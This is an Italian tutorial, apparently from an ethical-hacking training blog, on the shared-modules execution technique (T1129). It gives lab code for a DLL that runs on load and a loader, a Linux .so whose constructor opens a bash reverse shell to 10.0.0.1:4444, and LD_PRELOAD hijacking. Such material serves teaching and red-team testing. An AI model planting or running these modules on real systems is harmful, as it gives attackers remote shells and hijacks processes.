Moduli Condivisi: Shared Modules (T1129)

I moduli condivisi rappresentano una superficie d'attacco privilegiata per gli avversari che vogliono eseguire codice malevolo sui sistemi target. Questa tecnica sfrutta il meccanismo nativo con cui i sistemi operativi caricano librerie dinamiche - DLL su Windows, file .so su Linux e .dylib su macOS - per fornire funzionalità riutilizzabili ai processi in esecuzione.

L'approccio si inserisce nella tattica di Execution (TA0002), permettendo agli attaccanti di far girare payload arbitrari attraverso il caricamento di moduli compromessi. Gli avversari possono modularizzare il proprio malware in oggetti condivisi che gestiscono comunicazioni C2, persistence o azioni specifiche sull'obiettivo.

La pericolosità risiede nella legittimità apparente: i loader nativi come LoadLibrary su Windows o dlopen su Linux sono funzioni standard utilizzate da software legittimi. Questo rende la detection particolarmente sfidante. Con 21 software malevoli documentati che sfruttano questa tecnica, tra cui RAT sofisticati e malware modulari, l'impatto potenziale è significativo per qualsiasi organizzazione.

Per testare questa tecnica in laboratorio, partiamo dalla creazione di un modulo malevolo minimale. Su Windows, compiliamo una DLL che esegue calc.exe quando caricata:

// malicious.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("calc.exe");
    }
    return TRUE;
}

Compilazione: cl /LD malicious.c

Il caricamento può avvenire tramite diversi vettori. Il più diretto utilizza rundll32: rundll32.exe malicious.dll,DllMain

Per simulare tecniche più sofisticate come quelle di Mustang Panda, creiamo un loader custom che utilizza LoadLibrary:

// loader.c
#include <windows.h>
int main() {
    HMODULE hModule = LoadLibrary("C:\\Temp\\malicious.dll");
    if (hModule) {
        typedef void (*FuncPtr)();
        FuncPtr func = (FuncPtr)GetProcAddress(hModule, "ExecutePayload");
        if (func) func();
    }
    return 0;
}

Su Linux, l'approccio con dlopen è altrettanto efficace. Creiamo un modulo condiviso che stabilisce una reverse shell:

// payload.c
#include <stdlib.h>
void __attribute__((constructor)) init() {
    system("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1");
}

Compilazione: gcc -shared -fPIC payload.c -o payload.so

Il caricamento può avvenire tramite LD_PRELOAD per hijacking di processi esistenti: LD_PRELOAD=/tmp/payload.so ls

Per replicare tecniche più avanzate come quelle di OSX_OCEANLOTUS.D, utilizziamo dlopen programmaticamente:

// loader.c
#include <dlfcn.h>
void* handle = dlopen("/tmp/payload.so", RTLD_LAZY);
if (handle) {
    void (*func)() = dlsym(handle, "execute");
    if (func) func();
}

Su macOS, la sintassi è simile ma utilizziamo file .dylib. Un test particolarmente interessante coinvolge il caricamento da percorsi non standard come ~/Library/LaunchAgents/, simulando persistence.

Per tecniche avanzate, considerate il reflective DLL injection che non richiede scrittura su disco, rendendo la detection ancora più complessa.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo